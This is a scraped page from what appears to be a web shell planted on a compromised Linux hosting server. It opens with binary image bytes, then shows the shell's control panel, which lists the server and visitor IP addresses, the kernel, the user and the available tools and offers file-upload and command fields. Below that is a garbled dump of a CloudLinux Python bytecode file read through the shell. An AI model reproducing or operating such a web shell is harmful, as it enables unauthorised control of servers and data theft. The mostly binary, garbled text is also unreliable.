....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.126.4  /  Your IP : 216.73.216.178
Web Server : Apache
System : Linux host55.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : aeaw ( 7508)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/vendors_api/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/vendors_api/__pycache__/parser.cpython-311.pyc
�

���h�5����dZddlZddlZddlmZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
ddlmZddlmZddlmZmZmZmZmZmZmZmZmZdd	lmZmZmZm Z m!Z!m"Z"m#Z#m$Z$ej%�&ej%�'e(����Z)ej*eej+eej,eej-eiZ.Gd
�d��Z/e0dkr�e/��Z1e2e1�3����e2e1�4d
�����e2e1�5����e2e1�6����e2e1�7����dSdS)zt
Main API module that provides class uses as proxy
to public vendors methods and converts data to
internal objects.
�N)�compress)�ValidationError)�Optional�List�Dict�Any)�ALL_CL_FEATURES��integration_scripts)	�BadScriptError�MalformedError�ErrorMessage�
InternalError�PermissionDenied�
BadRequest�NotFound�UnexpectedResult�VendorApiMalformedData)�	PanelInfo�	Databases�Package�User�
DomainData�Reseller�Admin�InstalledPHPc��eZdZdZed���Zd�Zd�Zd�Zd�Z	d�Z
d�Zdd
�Z						dd�Z
dd
�Zdd�Zdd�Zdeefd�Zd	S)�	PublicApiz>
    Proxy to the public universal api for control panels
    c��t��S)zU
        Re-read this each time we call api
        due to lve-stats daemon.
        r
)�selfs ��/builddir/build/BUILDROOT/alt-python27-cllib-3.4.30-1.el8.cloudlinux.x86_64/opt/cloudlinux/venv/lib/python3.11/site-packages/vendors_api/parser.py�_scriptszPublicApi._scripts@s��#�$�$�$�c��tj���}|�dd��d|d<	t	j|tjtjd|���5}|���\}}ddd��n#1swxYwYn&#t$r}td|�d���|�d}~wwxYw|�||��S)N�
PYTHONPATH�1�PYTHONNOUSERSITET)�stdout�stderr�text�envz-Something is wrong with integration script: `�`)�os�environ�copy�pop�
subprocess�Popen�PIPE�DEVNULL�communicate�OSErrorr�	_validate)r �command�schema_filer+�p�output�_�es        r!�_executezPublicApi._executeJs%���j�o�o��������d�#�#�#�"%����
	��!�'�)3��)3�);�'+�&)�	+�+�+�
,�/0��M�M�O�O�	���
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,����	�	�	� �D��D�D�D����
�����	����
�~�~�f�k�2�2�2s;�-B�(B�B�B�B�B�B�
B;�"B6�6B;c�t�t�|��}|�td||����||���)z�
        Convert documented api error constants into
        python exceptions.
        :param result: error constant
        :param message: custom message that vendor returned
        Nz8Unexpected result key: `%(result)s`; message=`%(error)s`)�result�error)�_ERROR_MESSAGE_TO_ERROR�getr)r r@�message�	error_clss    r!�_error_key_to_errorzPublicApi._error_key_to_error`sN��,�/�/��7�7�	���"�J��W�.�.�.�
.��i�� � � r#c�B�	tj|��pi}n)#ttf$r}t	|��|�d}~wwxYw	|dpi}|d}n##t
$r}t	|���|�d}~wwxYw|dkrv	|�|��}tj|d|��n<#tt
tf$r"}tt|����|�d}~wwxYw|dS|�||�
d�����dS)	zs
        Checks input for valid json structure
        :param raw_data: json
        :return: dict or list
        N�metadatar@)r;�ok�datarD)rD)�json�loads�	TypeError�
ValueErrorr
�KeyError�_read_data_schema�
jsonschema�validaterr�strrFrC)r �raw_data�schema_path�deserializedr=rHr@�schemas        r!r7zPublicApi._validateosW��	2��:�h�/�/�5�2�L�L���:�&�	2�	2�	2� ��*�*��1�����	2����	9�#�J�/�5�2�H��h�'�F�F���	9�	9�	9� ��1�1�1�q�8�����	9�����T�>�>�
<��/�/��<�<���#�L��$8�&�A�A�A�A��#�X�y�9�
<�
<�
<�-�S��V�V�4�4�!�;�����
<���� ��'�'��$�$�V�X�\�\�)�5L�5L�$�M�M�M�M�Ms@��?�:�?�A�
A6� A1�1A6�0B1�1C*�C%�%C*c��ttj�td|��d���5}tj|���t
j��}ddd��n#1swxYwY|S)a-
        Knowing the fact that we store all data schemas
        in one folder we can easily find their absolute path.

        We do not handle errors here as normally package
        contains all it's files.
        :param filename: schema filename to load
        :return: dict, jsonschema
        �schemaszutf-8)�encodingN)	�openr-�path�join�BASE_DIR�yaml�load�read�
SafeLoader)r �filename�f�data_schemas    r!rPzPublicApi._read_data_schema�s����"�'�,�,�x��H�=�=��
P�
P�
P�	?�TU��)�A�F�F�H�H�d�o�>�>�K�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?����	?�	?�	?�	?��s�2A4�4A8�;A8c
��|�|jjd���}t|��}|js|S|jD]B}|t
vr�t
d|�dd�d�t
D���������|S)z�
        Returns the information about the control panel.

        Necessity: Always
        Accessed by: All UNIX users
        Must work inside CageFS also: Yes
        zpanel_info.yaml�r9zFeature zX is not available, please check your panel_info integration script. Available keys are: z, c��g|]	}|j��
S�)�value)�.0rds  r!�
<listcomp>z(PublicApi.panel_info.<locals>.<listcomp>�s��1S�1S�1S�a�!�'�1S�1S�1Sr#)r>r"�
panel_infor�supported_cl_featuresr	rr])r �
valid_datar@�features    r!rmzPublicApi.panel_info�s����]�]�4�=�#;�IZ�]�[�[�
��:�&�&���+�	��M��3�	�	�G��/�)�)��!�W�7�W�W�'+�y�y�1S�1S�?�1S�1S�1S�'T�'T�W�W���
�
�
r#c�b�|�|jjd���}t|��S)a
        Returns the information about databases that are
        available to the control panel users and are
        managed by the control panel.

        Necessity: Only for LVE-Stats
        Accessed by: admins (UNIX users)
        Must work inside CageFS also: No
        zdb_info.yamlrg)r>r"�db_infor)r ros  r!rrzPublicApi.db_info�s,���]�]�4�=�#8�n�]�U�U�
���$�$�$r#Nc�r�|jj}|�|d|fz
}|�|d���}d�|D��S)a
        Returns list of abstractions called "package" that
        represents a group of users that have the
        same default limits.

        Necessity: For limits functionality
        Accessed by: admins (UNIX users)
        Must work inside CageFS also: No
        N�--ownerz
packages.yamlrgc�,�g|]}t|����Sri)r�rk�xs  r!rlz&PublicApi.packages.<locals>.<listcomp>�s��/�/�/�q���
�
�/�/�/r#)r"�packagesr>)r �owner�argsros    r!rxzPublicApi.packages�sL���}�%�����Y��&�&�D��]�]�4�_�]�E�E�
�/�/�J�/�/�/�/r#c�Z��hd�}t|��t|��zrtd���t|tttd��f��std���|�&t
|��|z
}|rt|�d����|g||g�g|gg}	tt|	d�|	D������}
t|
��dkrtd|
�����|j	j
}|�|d	|fz
}|r|r	|d
|d|fz
}�rt�t��r|d�fz
}|r|d
t|��fz
}|r|dd�|��fz
}|�
|d���}d�|D��}
t�ttf��r�fd�|
D��}
|
S)z�
        Returns information about UNIX users, created
        and managed by the control panel.

        Necessity: Always
        Accessed by: admins (UNIX users)
        Must work inside CageFS also: No
        >�id�emailry�domain�package�username�locale_codez7You can only use package_name and package_owner in pairNz"fields accept only list of stringsz are not allowed fieldsc�,�g|]}t|����Sri)�all)rk�is  r!rlz#PublicApi.users.<locals>.<listcomp>�s��4V�4V�4V��S��V�V�4V�4V�4Vr#�z.You cannot use all these args in one request: rtz--package-namez--package-ownerz
--usernamez	--unix-idz--fields�,z
users.yamlrgc�,�g|]}t|����Sri)rrvs  r!rlz#PublicApi.users.<locals>.<listcomp>s��.�.�.�a�$�q�'�'�.�.�.r#c�&��g|]
}|j�v�|��Sri)r��rk�u�filter_namess  �r!rlz#PublicApi.users.<locals>.<listcomp>s%���F�F�F�A�1�:��+E�+E�a�+E�+E�+Er#)�boolrN�
isinstance�list�tuple�type�setr�lenr"�usersrSr]r>)r ry�package_name�
package_ownerr��unix_id�fields�allowed_fields�not_allowed_fields�exclusive_groups�	used_argsr8ror@s    `         r!r�zPublicApi.users�s?��� G�G�G�������]� 3� 3�3�	:��9�:�:�
:��&�4���T�
�
�";�<�<�	C��A�B�B�B���!$�V���~�!=��!�
Q� �$6�!O�!O�!O�P�P�P��G�
�=�)�
�N�
�I�	
����"2�4V�4V�EU�4V�4V�4V�W�W�X�X�	��y�>�>�A����L��L�L���
��-�%�����	�5�)�)�G��	:�M�	:��(�,�)�=�:�
:�G��	4�J�|�S�9�9�	4���l�3�3�G��	3���S��\�\�2�2�G��	6��
�C�H�H�V�$4�$4�5�5�G��]�]�7��]�E�E�
�.�.�:�.�.�.���l�T�5�M�2�2�	G�F�F�F�F��F�F�F�F��
r#Fc��|r|rtd���|jj}d}|r|d|fz
}|r|d|fz
}|r|dz
}d}|�||���}i}|���D]\}}	t|	��||<�|S)z�
        Returns key-value object, where a key is a domain (or subdomain)
        and a value is DomainData object

        Necessity: Selectors, some UI features
        Accessed by: All UNIX users
        Must work inside CageFS also: Yes
        z"you cannot use both owner and namezdomains.yamlrt�--name)z
--with-phpzdomains_with_php.yamlrg)rNr"�domainsr>�itemsr)
r ry�name�with_phpr8rWror@�k�vs
          r!r�zPublicApi.domainss����	C�T�	C��A�B�B�B��-�'�����	*��	�5�)�)�G��	(���$�'�'�G��	-��'�'�G�,�F��]�]�7��]�?�?�
����$�$�&�&�	&�	&�D�A�q�"�1�
�
�F�1�I�I��
r#c�D��|r�rtd���|jj}|�|dt|��fz
}t	�t��r|d�fz
}|�|d���}d�|D��}t	�ttf��r�fd�|D��}|S)	a�
        Gives information about resellers who can be users owners
        in the control panel. Resellers do not obligatory have
        their own same-name UNIX accounts in the system and could
        exist only as an account in the control panel.

        Necessity: Always
        Accessed by: admins (UNIX users)
        Must work inside CageFS also: no
        :param int id_: int, reseller id
        :param filter_names: name or list of reseller names to return
        z&You cannot use id and name at one callNz--idr�zresellers.yamlrgc�,�g|]}t|����Sri)rrvs  r!rlz'PublicApi.resellers.<locals>.<listcomp>Ls��2�2�2�!�(�1�+�+�2�2�2r#c�&��g|]
}|j�v�|��Sri�r�r�s  �r!rlz'PublicApi.resellers.<locals>.<listcomp>N�%���B�B�B�A�1�6�\�+A�+A�a�+A�+A�+Ar#)rNr"�	resellersrSr�r>r�r�)r �id_r�r8ror@s  `   r!r�zPublicApi.resellers4s�����	G�<�	G��E�F�F�F��-�)���?����C���)�)�G��l�C�(�(�	0���,�/�/�G��]�]�7�8H�]�I�I�
�2�2�z�2�2�2���l�T�5�M�2�2�	C�B�B�B�B��B�B�B�F��
r#c�h���r|�td���|jj}t�t��r|d�fz
}|�&|dt	|�����fz
}|�|d���}d�|D��}t�ttf��r�fd�|D��}|S)	u�
        Gives information about panel’s administrators,
        output information about all panel’s administrators who:
        - could be (or actually are) the owners of the users, listed in users()
        - could be (or actually are) the owners of the packages, listed in packages()
        - has UNIX users with the rights to run LVE Manager UI

        Necessity: Always
        Accessed by: admins (UNIX users)
        Must work inside CageFS also: no
        :param filter_names: name or list of names to return
        :param is_main: filter output by type of admins:
                        None means no filtering, return all
                        False means only additional admins
                        True means only main admin
        Nz&unable to use name and is_main at oncer�z	--is-mainzadmins.yamlrgc�,�g|]}t|����Sri)rrvs  r!rlz$PublicApi.admins.<locals>.<listcomp>ks��/�/�/�q�%��(�(�/�/�/r#c�&��g|]
}|j�v�|��Srir�r�s  �r!rlz$PublicApi.admins.<locals>.<listcomp>mr�r#)	rNr"�adminsr�rS�lowerr>r�r�)r r��is_mainr8ror@s `    r!r�zPublicApi.adminsQs����$�	G�G�/��E�F�F�F��-�&���l�C�(�(�	0���,�/�/�G�����S��\�\�%7�%7�%9�%9�:�:�G��]�]�7�
�]�F�F�
�/�/�J�/�/�/���l�T�5�M�2�2�	C�B�B�B�B��B�B�B�F��
r#�returnc�`�|jj}|�|d���}d�|D��S)a%
        Returns list of abstractions called "php" that
        represents an installed php with it's binary,
        ini file, modules directory, etc

        Necessity: For accelerate wp functionality
        Accessed by: admins (UNIX users)
        Must work inside CageFS also: No
        zphp.yamlrgc�,�g|]}t|����Sri)rrvs  r!rlz!PublicApi.php.<locals>.<listcomp>|s��4�4�4�A��Q���4�4�4r#)r"�phpr>)r rzros   r!r�z
PublicApi.phpps7���}� ���]�]�4�Z�]�@�@�
�4�4��4�4�4�4r#)N)NNNNNN)NNF)NN)�__name__�
__module__�__qualname__�__doc__�propertyr"r>rFr7rPrmrrrxr�r�r�r�rrr�rir#r!rr;s3���������%�%��X�%�3�3�3�,
!�
!�
!�N�N�N�>
�
�
����0%�%�%�0�0�0�0�"�� ����A�A�A�A�F����:����:����>5�d�<�(�5�5�5�5�5�5r#r�__main__�{)r�)8r�r-r1�	itertoolsrrKrQr_r�typingrrrr�clcommon.featuresr	�vendors_api.configr�vendors_api.exceptionsrr
rrrrrrr�vendors_api.modelsrrrrrrrrr\�abspath�dirname�__file__r^�INTERNAL_ERROR�PERMISSION_DENIED�BAD_REQUEST�	NOT_FOUNDrBrr��api�printrmr�r�r�r�rir#r!�<module>r�s�����
�	�	�	�����������������������&�&�&�&�&�&�,�,�,�,�,�,�,�,�,�,�,�,�-�-�-�-�-�-�2�2�2�2�2�2�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
����������������������7�?�?�2�7�?�?�8�4�4�5�5������"�$4���j���H�	��A5�A5�A5�A5�A5�A5�A5�A5�H
�z���
�)�+�+�C�	�E�#�.�.�
�
����	�E�#�)�)�C�)�
 �
 �!�!�!�	�E�#�*�*�,�,����	�E�#�-�-�/�/����	�E�#�+�+�-�-�������r#

Youez - 2016 - github.com/yon3zu
LinuXploit